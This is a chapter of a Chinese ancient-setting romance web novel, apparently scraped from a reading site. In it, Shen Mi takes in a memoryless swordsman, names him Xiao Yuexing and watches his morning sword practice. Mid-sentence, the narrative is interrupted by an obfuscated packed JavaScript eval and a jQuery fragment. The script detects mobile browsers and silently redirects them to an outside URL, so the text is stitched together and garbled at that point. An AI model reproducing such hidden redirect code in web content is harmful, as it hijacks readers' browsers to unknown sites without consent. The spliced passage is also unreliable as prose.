4. 第 4 章
作品:《我在青楼“训狗”》 第四章
少年闻言怔愣,随即冷笑:“利用?你又有何过人之处?”
沈觅不羞不恼,只是用那一双纤细玉手剥起桌上的蜜橘,她垂眼道:“我这儿有吃有住有穿,干活还能有工钱。”
本以为这人如何有权有势,其实不过妄想收他当个差使。
“笑话”,少年讽刺:“要我为奴,那这儿和路边的酒楼有何区别?”
“区别就是我不要你的契”,沈觅终于舍得分了点眼神,只是依旧云淡风轻,她说:“没有契,就不算奴。”
少年闻言薄唇绷紧,缓缓放下直指沈觅的利剑。风儿适时闯过,他的发丝遮脸,揣摩不出表情。
春儿见状第一个上前反对:“小姐万万不可!这人不知何来历,岂可留着近身?”
沈觅无动于衷,继续挑着那橘络。
“无碍”,她说:“毕竟他也不知晓自己的来历。”
众人皆惊,包括那被点着名的少年。他捏紧剑柄,“你怎知我……”
沈觅扬眉,那两颊的梨涡越旋越深,“你既肯留这蹲守我,想必无更好的去处。但你既不愿为奴,又何故对我再三挑衅?听闻无需留契,又为何踌躇?思索下来,便是无契则无需姓名,要么你的来历深不可测,要么你也不知晓自己姓甚名谁。”
少年恍然:“你试探我。”
沈觅耸耸肩,那股不同于世家小姐的匪气外泄,“留或不留全依你心意,门在左边,好走不送。”
少年沉默半晌,终于是合了剑。指节一扣,寒光入鞘,动作干净利索。沈觅不动声色的打量着。
“你为何留我”,少年又问。
沈觅依旧眼巴巴地盯着那镶银螺纹剑鞘,答非所问:“是把好剑。”没等人应,她又抬眼道:“好剑也得遇伯乐,若无你这等驭剑之术,锻得再精也是徒劳。”
少年挑眉。
沈觅想说些什么,却突然猛咳几声,眼角都激出泪来。许是方才虚汗浸着了内衬,风一吹又受了凉。春儿体恤,立刻回房捧了件绒褂出来给沈觅披上。而沈觅只是拢了拢,绽出个笑,“我想要你身上那驭剑的本事。”
哈,理直气壮,大言不惭。
瞥了眼那扶着衣襟的葱白细腕,少年气笑了:“就凭你?”
沈觅目光坦荡,莽撞又直白,“你忘了吗?这是歧视。”
少年顿觉那膝盖骨正隐隐作痛。
掀了把头发,他败下阵来,思度片刻后终于回道:“期限只至我寻回记忆,到那时我便会自行离开,任何人不许留我。”沈觅笑着点头:“那是自然。”她起身,将手里剥好的蜜橘朝少年一抛,见他稳稳接住便坏笑释道:“这是聘礼。”
少年垂眸盯着那还带着些体温的果实,上面的橘络被剥了个干净。这女人当真不怕他,竟能在对峙中分心摆弄出这么个玩意儿。
突然一道竹叶香气逼近,少年猛地抬头,视线与沈觅撞了个满怀。两人此刻距离竟不过半丈。
为何没听见脚步?
沈觅盯了会儿他颤动的灰眸,视线又游移向下至他的衣襟。少年不好受,他觉着自己似是被沈觅的视线挠了一遍,只好捏紧指尖。
“你也忘了姓名,对吗?”
少年不语,默认。沈觅却突然伸手翻开了他的衣襟,凉风灌入,少年只一瞬便回过神来。他一把夺回襟口,漂亮的眸子怒目圆睁,双颊飞红吼道:“你作甚!”
得亏前世留下的基本素养,仅需两秒,沈觅就看清了那里衬上缝着的字样。只一个单字:肖。后边缝了个年份,想必是生辰。这字绣得精巧,用的还是金丝,一笔一画,针针刺着珍视。
沈觅举起双手,摆着个无辜样退了两步解释道:“我只是方才瞧见那儿有处绣工,许是名氏呢?”少年身形一顿,闻言立刻掀开衣襟,果真看到那字样。此时日光正盛,金丝绣在白布上近乎反光,而那女子竟可在几丈远处瞧见?
少年窥着面前女子乌溜溜的圆杏眼,清纯可人的模样。他明了,此人披了一副假皮囊。
枭心鹤貌。
“肖氏男子,若以此上年月为生辰,那便是十八,还未及弱冠”,沈觅不知他心里的波澜,自言自语的心算了会儿,随即又摆出那副无辜笑脸。她说:“肖某,是弟弟呢。”
沈觅音色爽朗又舒缓,品不出嘲讽的意味,但依旧让他心里烦闷。不愿再看那对坦荡得过分的眸子,少年移开视线,抱胸倚在院内的玉兰树干上。
但沈觅不放过他,背着手边踱边道:“但没有名可不好称呼,肖弟弟有何心仪的字号?”少年闭着眼,冷冷淡淡:“无所谓。”
“无所谓?那我见肖弟弟这性子同烈犬一般,不如就叫肖狗吧!”
“你!”肖狗立刻直起身,一双桃眼颤着,一副屈辱模样。
“逗你玩呢”,沈觅适时见好就收,逗趣够了可别惹急眼了。于是她眼珠一转,认真道:“此处是樾国,虽不知你为何而来,但终归望你不虚此行……”
沈觅迎着日光仰起头,凝脂点漆。她说:“乘着此情,唤你樾行,如何?”
肖樾行。
少年嚅着唇,三个字无声的在唇齿间碰着。
他垂眸,轻眨着眼,发丝飞扬。掠过顶上的望春玉兰,枝桠刚出了果。棕绿的壳裂开,透出里头红艳的芯,像要酿出一串红豆。将熟未熟,又涩又可爱。
半晌,少年抬眼与沈觅视线相接,唇却抿紧了。沈觅了然,她侧头指挥道:“虎子,领肖公子去那空着的偏房,有什么缺的就去库房里头补上。”
安排好一切,沈觅是真乏了。哪怕再想摸剑,也得歇一天在说。于是她朝肖樾行点头示意后便朝自己的寝室走去,但刚迈上台阶又被留住。
肖樾行微眯起眼,问:“那我又该如何唤你?”
沈觅失笑,居然现在才想着问了。她将乱发撩至耳后,扬声道:“沈舟破釜,追风觅影,我叫沈觅。”
破釜,追风,好一把逆骨。原有些平凡的二字,如此一释,竟显得与她本人相配。
肖樾行望着沈觅离开的背影,终于是舍得咬了手里的蜜橘。满满一口,汁水四溢。些许果汁顺着虎口滑落,又打在青石砖上,院内似乎都多了些归属于夏季的花果清香
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15425256|169132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。他舔舔唇,是当季熟透了的果子,甜得喉口直收紧。
确实是撷果的时节。
沈觅进了屋,这把所谓的“逆骨”软成滩烂泥化在了榻上。春儿跟着进来,沈觅无需回头便可知她担忧。于是她举起手,先一步抢道:“我要歇下了,有何顾虑明日再谈吧。”春儿果真没再说话,只是伸手帮她除了衣。
躺在榻上,哪怕身子再累,此时沈觅的脑子也是清明的。她怎会不知留着这陌生男子在身边危险?只不过自己也同样在赌罢了,赌肖樾行能为自己所用。
从方才的对峙来看,肖樾行确实出自大户人家。剑术高强的平民百姓不是没有,但能配那上等好剑,又能用金丝缝线的,只能是世家子弟。更何况,肖樾行压根没过问工钱,想来一直是个不差钱的主。
不争钱,只争尊严。
不知这小子究竟是何来头,沈觅揉了圈太阳穴,喃喃道:“要是恢复记忆后能助我一臂之力,就好了……”
第二日清晨,沈觅照常早起洗漱。不愿春儿跟着她一同起身,沈觅自己寻了衣裤换上。不会盘那古代发髻,她便翻出条红绳自个儿束了根马尾。
嘿,有点现代那味儿了。
无奈一笑,沈觅拍了拍有些苍白的脸颊,出门运动。
她不敢出院,万一撞着沈绍华见他那宝贝独女一人瞎晃悠,身边的下人指不定得被数落成啥样。于是沈觅只能在她这后院来回的绕着跑,里程不够就多来几圈。可惜她忘了这院里多了位“贵客”。
跑到偏院入口附近,沈觅听见那院落里竟有些怪异气息。呲呲哈哈的,像头兽!
这可给沈觅乐坏了,她老早便想养只家宠了!于是她撸起袖子,在自个儿的院内踮起脚,鬼鬼祟祟的行进。身子绕过那朱门花窗,视线也绕过那翠绿枝叶,终于瞥见抹深色身影。
哦,想起来了,是肖樾行。
沈觅直起身子,不再遮遮掩掩。也不知那人是否察觉,依旧在心无旁骛的运着剑。虎子会来事,给找了套霁蓝的云锦常服。随着肖樾行行云流水的动作,袖口、衣摆一同跟着在院里浮动。他一跃,一落,那霁蓝好比道鲜墨,被泼到了沈觅的院里。
一套动作结束,肖樾行背身抹了把下颌的汗,问道:“还得看多久?”
沈觅闻言鼓掌,“晨跑路过,见此美景不由得驻足欣赏。”
肖樾行不动声色的皱起眉头。她一女子怎能不害臊的说出这些话?
揣摩不透沈觅的意图,肖樾行转身举起剑,“不是要学吗?来吗?”
他本想交了差应付了事,但沈觅只是摇了摇头,吐出一句:“还不是时候。”说完,她转身继续晨跑,只是不再踏足偏院,将这一隅留给了肖樾行。
“真是个怪人”,他低语。
早膳依旧是沈觅点名的煮蛋和肉包,享用完健身食谱,沈觅捧着肚子靠在椅背上,开始琢磨起今日的打算。
春儿突然步履匆匆的进了屋,“小姐,有客人来了……”
沈觅抬眼:“是谁?”
春儿有些不安地瞄了眼门外,她说:“是孟大人。”

